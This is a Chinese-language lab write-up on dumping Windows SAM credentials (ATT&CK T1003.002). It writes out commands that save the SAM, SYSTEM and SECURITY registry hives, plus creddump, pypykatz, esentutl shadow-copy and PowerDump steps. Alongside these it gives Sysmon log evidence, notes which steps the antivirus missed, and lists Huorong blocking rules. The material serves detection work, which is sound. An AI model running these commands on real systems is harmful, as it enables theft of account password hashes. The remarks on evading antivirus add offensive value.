赞
踩
具体信息 | 详情 |
---|---|
ATT&CK编号 | T1003-002 |
所属战术阶段 | 凭据访问 |
操作系统 | windows 7 旗舰版 SP1 |
创建时间 | 2022年11月24日 |
监测平台 | 火绒安全、火绒剑、sysmon |
攻击者可能会尝试通过内存技术或通过存储 SAM 数据库的 Windows 注册表从安全帐户管理器 (SAM) 数据库中提取凭证材料。SAM 是一个数据库文件,其中包含主机的本地帐户,通常是使用**net user
** 命令找到的帐户。枚举 SAM 数据库需要 SYSTEM 级别的访问权限。
许多工具可用于通过内存技术检索 SAM 文件:
或者,可以使用 Reg 从注册表中提取 SAM:
reg save HKLM\sam sam
reg save HKLM\system system
然后可以使用 Creddump7 在本地处理 SAM 数据库以检索哈希值。
工具列表 | 相关链接 |
---|---|
sysmon日志记录工具 | https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon |
sysmon默认规则文件 | https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml |
sysmon安装命令 | sysmon64.exe -accepteula -i sysmonconfig-export.xml |
攻击条件 | 已经获取管理员权限的shell |
可以通过三个注册表项枚举本地 SAM(SAM 和系统)、缓存凭证(系统和安全)和 LSA 机密(系统和安全)。然后使用creddump在本地处理
成功执行此测试后,您将在 \path\ 目录中找到名为 sam、system 和 security 的三个文件。
攻击命令
reg save HKLM\sam \path\sam
reg save HKLM\system \path\system
reg save HKLM\security \path\security
creddump
概述: creddump 是一个 python 工具,用于从中提取各种凭据和秘密 Windows 注册表配置单元。它目前提取: * LM 和 NT 哈希(SYSKEY 保护) * 缓存域密码 * LSA 秘密 要求: 1.python-crypto 模块是其 MD5/DES/RC4 支持所必需的。 2.需要Python环境支持,目前支持Python2.5 关于lsadump:系统和安全配置单元【system and SECURITY hives】 关于cachedump:系统和安全配置单元【system and SECURITY hives】 关于pwdump:系统和 SAM 配置单元【system and SAM hives】 用法: 转储缓存域哈希: ./cachedump.py <system hive> <security hive> 转储 LSA 机密: ./lsadump.py <system hive> <security hive> 转储本地密码哈希: ./pwdump.py <system hive> <SAM hive>
通过操作注册表转储sam、creds和secrets凭据信息
然后本地提取NTLM哈希值进行撞库匹配得到密码
解析注册表配置单元以获取存储的凭据,目标主机上需要安装Python3的环境;pypykatz是用纯 Python 实现的Mimikatz。
先决条件是需要安装pypykatz模块,并且已经在环境变量中
pip install pypykatz
pypykatz live registry
使用 esentutl.exe 实用程序复制 SAM 配置单元 这也可用于复制其他文件和配置单元,如 SYSTEM、NTUSER.dat 等;用于捕获存储在 ntds.dit 或磁盘上的 SAM 文件中的凭据的过程。
名字 | 描述 | 默认值 |
---|---|---|
文件路径 | 要复制的文件路径 | %SystemRoot%/system32/config/SAM |
文件名 | 复制文件的名称 | SAM |
复制目标 | 复制文件的目的地 | dest_path |
攻击命令
esentutl.exe /y /vss #{file_path} /d #{copy_dest} /#{file_name}
在虚拟机中执行上述命令时,出现不存在/vss
参数的报错
去除/vss
参数,执行命令复制SAM文件显示创建文件失败,可能是因为文件被系统锁定了
出现上述的问题原因,推测是拷贝SAM文件,必须要采用磁盘卷影复制技术,而虚拟机可能不支持磁盘卷影复制技术【需要操作底层磁盘】。
尝试在本机进行卷影复制,结果显示是成功的。
磁盘卷影复制技术,VSS本质上属快照(Snamshot)技术的一种,主要用于备份和恢复(即使目标文件被系统锁定)。
通过从注册表中读取哈希来执行哈希转储。
攻击命令
Write-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore green
Import-Module "T1003-002\PowerDump.ps1"
Invoke-PowerDump
下载链接PowerDump.ps1
1.日志特征
Process Create: RuleName: - UtcTime: 2022-11-28 06:18:10.035 ProcessGuid: {366efb63-0000-0000-65c6-2b0300000000} ProcessId: 3628 Image: C:\Windows\System32\reg.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: Registry Console Tool Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: reg.exe CommandLine: reg save HKLM\sam sam CurrentDirectory: C:\Users\Administrator\Desktop\T1003-002\ User: SWORDHEART\Administrator LogonGuid: {366efb63-0000-0000-9cbf-0a0000000000} LogonId: 0xabf9c TerminalSessionId: 1 IntegrityLevel: High Hashes: MD5=9D0B3066FE3D1FD345E86BC7BCCED9E4,SHA256=4E66B857B7010DB8D4E4E28D73EB81A99BD6915350BB9A63CD86671051B22F0E,IMPHASH=85C854CD51885B4B1E99BD14B33472B9 ParentProcessGuid: {366efb63-0000-0000-337f-2b0300000000} ParentProcessId: 2948 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" ParentUser: SWORDHEART\Administrator
Process Create: RuleName: - UtcTime: 2022-11-28 06:19:32.606 ProcessGuid: {366efb63-0000-0000-8fb0-2c0300000000} ProcessId: 3128 Image: C:\Windows\System32\reg.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: Registry Console Tool Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: reg.exe CommandLine: reg save HKLM\system system CurrentDirectory: C:\Users\Administrator\Desktop\T1003-002\ User: SWORDHEART\Administrator LogonGuid: {366efb63-0000-0000-9cbf-0a0000000000} LogonId: 0xabf9c TerminalSessionId: 1 IntegrityLevel: High Hashes: MD5=9D0B3066FE3D1FD345E86BC7BCCED9E4,SHA256=4E66B857B7010DB8D4E4E28D73EB81A99BD6915350BB9A63CD86671051B22F0E,IMPHASH=85C854CD51885B4B1E99BD14B33472B9 ParentProcessGuid: {366efb63-0000-0000-337f-2b0300000000} ParentProcessId: 2948 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" ParentUser: SWORDHEART\Administrator
Process Create: RuleName: - UtcTime: 2022-11-28 06:19:59.485 ProcessGuid: {366efb63-0000-0000-5a0e-2d0300000000} ProcessId: 3656 Image: C:\Windows\System32\reg.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: Registry Console Tool Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: reg.exe CommandLine: reg save HKLM\security security CurrentDirectory: C:\Users\Administrator\Desktop\T1003-002\ User: SWORDHEART\Administrator LogonGuid: {366efb63-0000-0000-9cbf-0a0000000000} LogonId: 0xabf9c TerminalSessionId: 1 IntegrityLevel: High Hashes: MD5=9D0B3066FE3D1FD345E86BC7BCCED9E4,SHA256=4E66B857B7010DB8D4E4E28D73EB81A99BD6915350BB9A63CD86671051B22F0E,IMPHASH=85C854CD51885B4B1E99BD14B33472B9 ParentProcessGuid: {366efb63-0000-0000-337f-2b0300000000} ParentProcessId: 2948 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" ParentUser: SWORDHEART\Administrator
2.攻击特征
在针对注册表进行操作的时候,并没有触发火绒的拦截行为
3.日志特征
Process Create: RuleName: - UtcTime: 2022-11-29 09:11:44.554 ProcessGuid: {366efb63-0000-0000-b8e6-240000000000} ProcessId: 1228 Image: C:\Users\Administrator\AppData\Local\Programs\Python\Python37\Scripts\pypykatz.exe FileVersion: - Description: - Product: - Company: - OriginalFileName: - CommandLine: pypykatz live registry CurrentDirectory: C:\Users\Administrator\ User: SWORDHEART\Administrator LogonGuid: {366efb63-0000-0000-48f4-090000000000} LogonId: 0x9f448 TerminalSessionId: 1 IntegrityLevel: High Hashes: MD5=A6DC14CC8350B1409ED3F47C6C49ED27,SHA256=D5CEF3B8FA25371930F7E084FFA263E3600903AE7727F6F718CCC8A5D62807BD,IMPHASH=C51D659B4B1142D4AF3795D09F1D63F7 ParentProcessGuid: {366efb63-0000-0000-50eb-1c0000000000} ParentProcessId: 2116 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\system32\cmd.exe" ParentUser: SWORDHEART\Administrator
4.攻击特征
执行pypykatz并没有触发火绒告警
5.日志特征
Process Create: RuleName: - UtcTime: 2022-12-01 01:33:40.218 ProcessGuid: {366efb63-0000-0000-843d-e80000000000} ProcessId: 600 Image: C:\Windows\System32\esentutl.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: Extensible Storage Engine Utilities for Microsoft(R) Windows(R) Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: esentutl.exe CommandLine: esentutl.exe /y /vss C:\Windows/system32/config/SAM /d C:\ProgramData\SAM CurrentDirectory: C:\Users\Administrator\Desktop\T1003-002\ User: SWORDHEART\Administrator LogonGuid: {366efb63-0000-0000-48f4-090000000000} LogonId: 0x9f448 TerminalSessionId: 1 IntegrityLevel: High Hashes: MD5=4779E21FED99E1A58B722313DF0D45A9,SHA256=0E0EE52F58FCE3E8851A0AE5B250EEB5A8168F652008D0F09E94D108C0B81E1D,IMPHASH=3C37C295D364EF391D5DAC280A234FDD ParentProcessGuid: {366efb63-0000-0000-867a-990000000000} ParentProcessId: 3988 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" ParentUser: SWORDHEART\Administrator
6.攻击特征
执行磁盘卷影复制SAM并未触发火绒告警
7.日志特征
Process Create: RuleName: - UtcTime: 2022-12-01 08:31:42.679 ProcessGuid: {366efb63-0000-0000-1173-4d0100000000} ProcessId: 636 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: Windows PowerShell Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: PowerShell.EXE CommandLine: "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" CurrentDirectory: C:\Users\Administrator\ User: SWORDHEART\Administrator LogonGuid: {366efb63-0000-0000-48f4-090000000000} LogonId: 0x9f448 TerminalSessionId: 1 IntegrityLevel: High Hashes: MD5=852D67A27E454BD389FA7F02A8CBE23F,SHA256=A8FDBA9DF15E41B6F5C69C79F66A26A9D48E174F9E7018A371600B866867DAB8,IMPHASH=F2C0E8A5BD10DBC167455484050CD683 ParentProcessGuid: {366efb63-0000-0000-ce17-0a0000000000} ParentProcessId: 1756 ParentImage: C:\Windows\explorer.exe ParentCommandLine: C:\Windows\Explorer.EXE ParentUser: SWORDHEART\Administrator
8.攻击特征
因为这个是直接被火绒检测到了,所以使用时需要进行免杀处理
1.处置方法
限制通过cmd对注册表进行操作
2.火绒规则编写
{ "ver":"5.0", "tag":"hipsuser", "data":[ { "id":7, "power":1, "name":"T1003-002-SAM、信用和机密的注册表转储防护", "procname":"C:\\Windows\\System32\\cmd.exe", "treatment":1, "policies":[ { "montype":1, "action_type":15, "res_path":"C:\\Windows\\system32\\reg.exe" } ] } ] }
但是通过cmd限制去操作reg注册表程序,看似能防护住,实际情况下没有防护住,还是可以把注册表项保存下来
3.处置方法
禁止cmd直接读取python模块中的pypykatz文件
4.火绒规则编写
{ "ver":"5.0", "tag":"hipsuser", "data":[ { "id":8, "power":1, "name":"T1003-002-使用 pypykatz 解析注册表", "procname":"C:\\Windows\\System32\\cmd.exe", "treatment":1, "policies":[ { "montype":1, "action_type":15, "res_path":"C:\\Users\\Administrator\\AppData\\Local\\Programs\\Python\\Python37\\Scripts\\*" } ] } ] }
通过防护的效果来看,可以针对调用pypykatz进行拦截
5.处置方法
禁止调用esentutl.exe
执行命令
6.火绒规则编写
{ "ver":"5.0", "tag":"hipsuser", "data":[ { "id":9, "power":1, "name":"T1003-002-esentutl.exe SAM 复制防护", "procname":"C:\\Windows\\System32\\cmd.exe", "treatment":1, "policies":[ { "montype":1, "action_type":15, "res_path":"C:\\Windows\\system32\\esentutl.exe" } ] } ] }
但是这个防护策略并不能起到防护的作用
通过以上几种实验可知,攻击者可能会尝试通过内存技术或通过存储 SAM 数据库的 Windows 注册表从安全帐户管理器 (SAM) 数据库中提取凭证材料。在实施攻击的过程中,我们应该尽量避免在目标系统中进行交互;所以通过窃取SAM凭证信息,进行离线解密进而获取用户密码。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。